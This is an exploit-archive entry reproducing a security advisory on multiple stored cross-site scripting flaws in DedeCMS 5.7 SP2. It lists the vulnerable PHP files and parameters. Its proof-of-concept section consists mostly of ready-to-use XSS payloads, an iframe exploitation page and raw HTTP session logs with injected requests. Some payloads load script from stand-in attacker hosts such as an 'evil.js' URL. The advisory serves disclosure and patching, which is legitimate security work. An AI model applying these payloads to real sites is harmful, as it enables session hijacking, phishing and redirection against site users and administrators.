
9 changes to exploits/shellcodes BlazeDVD 7.0.2 - Buffer Overflow (SEH) AirDisk Pro 5.5.3 for iOS - Persistent Cross-Site Scripting SuperBackup 2.0.5 for iOS - Persistent Cross-Site Scripting Pinger 1.0 - Remote Code Execution SeedDMS 5.1.18 - Persistent Cross-Site Scripting Macs Framework 1.14f CMS - Persistent Cross-Site Scripting DedeCMS 7.5 SP2 - Persistent Cross-Site Scripting File Transfer iFamily 2.1 - Directory Traversal Xeroneit Library Management System 3.0 - 'category' SQL Injection
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# Title: DedeCMS 7.5 SP2 - Persistent Cross-Site Scripting
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# Author: Vulnerability Laboratory
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# Date: 2020-04-15
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# Vendor Link: http://www.dedecms.com
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# Software Link: http://www.dedecms.com/products/dedecms/downloads/
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# CVE: N/A
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Document Title:
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===============
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DedeCMS v7.5 SP2 - Multiple Persistent Web Vulnerabilities
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References (Source):
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====================
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https://www.vulnerability-lab.com/get_content.php?id=2195
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Release Date:
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=============
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2020-04-09
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Vulnerability Laboratory ID (VL-ID):
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====================================
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2195
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Common Vulnerability Scoring System:
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====================================
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4.3
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Vulnerability Class:
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====================
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Cross Site Scripting - Persistent
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Current Estimated Price:
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========================
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500€ - 1.000€
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Product & Service Introduction:
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===============================
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Welcome to use the most professional PHP website content management
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system in China-Zhimeng content management system,
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he will be your first choice for easy website building. Adopt XML name
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space style core templates: all templates are
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saved in file form, which provides great convenience for users to design
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templates and website upgrade transfers.
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The robust template tags provide strong support for webmasters to DIY
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their own websites. High-efficiency tag caching
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mechanism: Allows the caching of similar tags. When generating HTML, it
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helps to improve the reaction speed of the
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system and reduce the resources consumed by the system.
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(Copy of the homepage: http://www.dedecms.com/products/dedecms/downloads/)
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Abstract Advisory Information:
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==============================
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The vulnerability laboratory core research team discovered multiple
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persistent cross site vulnerabilities in
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the official DedeCMS v5.7 SP2 (UTF8) web-application.
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Affected Product(s):
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====================
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DesDev Inc.
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Product: DedeCMS - Content Management System v5.7 SP2
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Vulnerability Disclosure Timeline:
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==================================
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2020-04-09: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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Medium
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Authentication Type:
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====================
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Restricted authentication (user/moderator) - User privileges
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User Interaction:
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=================
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Low User Interaction
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Disclosure Type:
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================
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Independent Security Research
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Technical Details & Description:
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================================
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Multiple persistent cross site scripting vulnerabilities has been
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discovered in the official DedeCMS v5.7 SP2 UTF8 web-application.
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The vulnerability allows remote attackers to inject own malicious script
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codes with persistent attack vector to compromise browser to
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web-application requests from the application-side.
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The persistent script code inject web vulnerabilities are located in the
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`activepath`, `keyword`, `tag`, `fmdo=x&filename`, `CKEditor`
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and `CKEditorFuncNum`parameters of the `file_pic_view.php`,
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`file_manage_view.php`, `tags_main.php`, `select_media.php`,
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`media_main.php` files.
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The attack vector of the vulnerability is non-persistent and the request
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method to inject is POST. Successful exploitation of the vulnerability
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results in session hijacking, persistent phishing attacks, persistent
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external redirects to malicious source and persistent manipulation
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of affected or connected application modules.
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Request Method(s):
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[+] POST
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Vulnerable File(s):
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[+] file_pic_view.php
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[+] file_manage_view.php
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[+] tags_main.php
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[+] select_media.php
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[+] media_main.php
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Vulnerable Parameter(s):
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[+] tag
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[+] keyword
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[+] activepath
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[+] fmdo=move&filename & fmdo=edit&filename
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[+] CKEditor & CKEditor=body&CKEditorFuncNum
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Proof of Concept (PoC):
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=======================
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The web vulnerabilities can be exploited by remote attackers with
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privileged user account and with low user interaction.
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For security demonstration or to reproduce the vulnerability follow the
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provided information and steps below to continue.
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Request: Examples
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https://test23.localhost:8080/dede/file_manage_view.php?fmdo=move&filename=test&activepath=%2Fuploads
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https://test23.localhost:8080/dede/tags_main.php?tag=&orderby=total&orderway=desc
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https://test23.localhost:8080/include/dialog/select_media.php?CKEditor=body&CKEditorFuncNum=2&langCode=en
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PoC: Payload
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".>"<img>"%20<img src=[Evil.Domain]/[Evil.Source].*
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onload=alert(document.domain)>
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>"%20<"<img="" src="https:/www.vulnerability-lab.com/gfx/logo-header.png
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onload=alert(document.domain)">
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>"><iframe src=evil.source onload=alert(document.domain)>
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%22%3E%3Ciframe%20src=%22https://vuln-lab.com/evil.js%22%3E
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%3E%22%3E%3Ciframe%20src=%22x%22%20onload=alert(document.domain)%3E%3Cimg%3E
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%3E%22%3Cimg%20src=%22[Evil.Source]%22%3E%3Cimg%20src=%22[Evil.Source]%22%3E
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PoC: Exploitation
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<title>DedeCMS v5.7 SP2 UTF8 - Multiple Non Persistent XSS PoCs</title>
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<iframe
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src="https://test23.localhost:8080/dede/file_pic_view.php?activepath=%2Fuploads%3E%22%3Cimg%20src=%22[Evil.Source]%22%3E%3Cimg%20src=%22[Evil.Source]%22%3E">
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<iframe
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src="https://test23.localhost:8080/dede/file_manage_view.php?fmdo=move&filename=%3E%22%3E%3Ciframe%20src=%22x%22%20onload=alert(document.domain)%3E%3Cimg%3E&activepath=%2Fuploads">
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<iframe
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src="https://test23.localhost:8080/dede/file_manage_view.php?fmdo=move&filename=test&activepath=%3E%22%3E%3Ciframe%20src=%22x%22%20onload=alert(document.domain)%3E%3Cimg%3E">
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<iframe
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src="https://test23.localhost:8080/dede/tags_main.php?tag=pwnd&orderway=%22%3E%3Ciframe%20src=%22https://vuln-lab.com/evil.js%22%3E">
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<iframe
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src="https://test23.localhost:8080/dede/tags_main.php?tag=%22%3E%3Ciframe%20src=%22https://vuln-lab.com/evil.js%22%3E&orderby=1&orderway=">
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<iframe
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src="https://test23.localhost:8080/include/dialog/select_media.php?CKEditor=>"><iframe
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src=evil.source
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onload=alert(document.domain)>body&CKEditorFuncNum=2&langCode=en">
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<iframe
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src="https://test23.localhost:8080/include/dialog/select_media.php?CKEditor=body&CKEditorFuncNum=>"><iframe
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src=evil.source onload=alert(document.domain)>2&langCode=en">
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...
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--- PoC Session Logs [POST] --- (Some Examples ...)
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https://test23.localhost:8080/dede/media_main.php
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Host: test23.localhost:8080
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0)
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Gecko/20100101 Firefox/74.0
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Accept:
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text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate, br
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 152
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Origin: https://test23.localhost:8080
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Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
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Connection: keep-alive
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Referer: https://test23.localhost:8080/dede/media_main.php
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Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=2et4s8ep51lasddnshjcco5ji3;
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DedeUserID=1; DedeUserID__ckMd5=936f42b01c3c7958;
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DedeLoginTime=1586191031; DedeLoginTime__ckMd5=37af65fa4635a14f;
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ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php
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keyword=>"%20<<img
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src=https://[Evil.Domain]/[Evil.Source].png>&mediatype=0&membertype=0&imageField.x=23&imageField.y=4
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-
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POST: HTTP/2.0 200 OK
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server: nginx
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content-type: text/html; charset=utf-8
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content-length: 1830
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expires: Thu, 19 Nov 1981 08:52:00 GMT
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pragma: no-cache
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cache-control: private
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set-cookie: ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php; expires=Mon,
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06-Apr-2020 17:53:23 GMT; Max-Age=3600; path=/
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vary: Accept-Encoding
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content-encoding: gzip
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x-powered-by: PHP/5.6.40, PleskLin
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X-Firefox-Spdy: h2
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---
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https://test23.localhost:8080/dede/file_pic_view.php
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?activepath=%2Fuploads%2F>"
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<"<img+src%3Dhttps%3A%2F%2Fwww.vulnerability-lab.com%2Fgfx%2Flogo-header.png>&imageField.x=0&imageField.y=0
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Host: test23.localhost:8080
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0)
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Gecko/20100101 Firefox/74.0
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Accept:
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text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate, br
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Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
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Connection: keep-alive
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Referer:
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https://test23.localhost:8080/dede/file_pic_view.php?activepath=&imageField.x=0&imageField.y=0
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Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=2et4s8ep51lasddnshjcco5ji3;
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DedeUserID=1; DedeUserID__ckMd5=936f42b01c3c7958;
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DedeLoginTime=1586191031; DedeLoginTime__ckMd5=37af65fa4635a14f;
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ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager
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Upgrade-Insecure-Requests: 1
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-
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GET: HTTP/2.0 200 OK
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server: nginx
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content-type: text/html; charset=utf-8
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x-powered-by: PHP/5.6.40
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expires: Thu, 19 Nov 1981 08:52:00 GMT
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pragma: no-cache
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cache-control: private
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X-Firefox-Spdy: h2
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---
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https://test23.localhost:8080/include/dialog/select_media.php?
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CKEditor=>"><iframe src=evil.source
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onload=alert("1")>body&CKEditorFuncNum=>"><iframe src=evil.source
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onload=alert("2")>2&langCode=en
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Host: test23.localhost:8080
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0)
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Gecko/20100101 Firefox/74.0
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Accept:
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text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate, br
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Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
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Connection: keep-alive
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Cookie: PHPSESSID=2et4s8ep51lasddnshjcco5ji3; DedeUserID=1;
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DedeUserID__ckMd5=936f42b01c3c7958;
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DedeLoginTime=1586191031; DedeLoginTime__ckMd5=37af65fa4635a14f;
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ENV_GOBACK_URL=%2Fdede%2Ffeedback_main.php
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Upgrade-Insecure-Requests: 1
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-
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GET: HTTP/2.0 200 OK
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server: nginx
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content-type: text/html; charset=utf-8
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content-length: 1137
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expires: Thu, 19 Nov 1981 08:52:00 GMT
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cache-control: no-store, no-cache, must-revalidate, post-check=0,
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pre-check=0
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pragma: no-cache
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vary: Accept-Encoding
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content-encoding: gzip
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x-powered-by: PHP/5.6.40, PleskLin
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X-Firefox-Spdy: h2
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Reference(s):
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https://test23.localhost:8080/dede/media_main.php
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https://test23.localhost:8080/dede/tags_main.php
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https://test23.localhost:8080/dede/file_pic_view.php
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https://test23.localhost:8080/dede/file_manage_view.php
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https://test23.localhost:8080/include/dialog/select_media.php
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Solution - Fix & Patch:
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=======================
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1. Parse the content to disallow html / js and special chars on the
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affected input fields
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2. Restrict the vulnerable paramter prevent injects via post method request
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3. Secure the output location were the content is insecure sanitized
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delivered as output
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Security Risk:
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==============
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The security risk of the application-side persistent cross site
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scripting web vulnerabilities in the different modules are estimated as
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medium.
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Credits & Authors:
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==================
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Vulnerability-Lab -
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https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
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Benjamin Kunz Mejri -
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https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without
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any warranty. Vulnerability Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability
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and capability for a particular purpose. Vulnerability-Lab
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or its suppliers are not liable in any case of damage, including direct,
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indirect, incidental, consequential loss of business profits
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or special damages, even if Vulnerability-Lab or its suppliers have been
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advised of the possibility of such damages. Some states do
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not allow the exclusion or limitation of liability for consequential or
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incidental damages so the foregoing limitation may not apply.
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We do not approve or encourage anybody to break any licenses, policies,
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deface websites, hack into databases or trade with stolen data.
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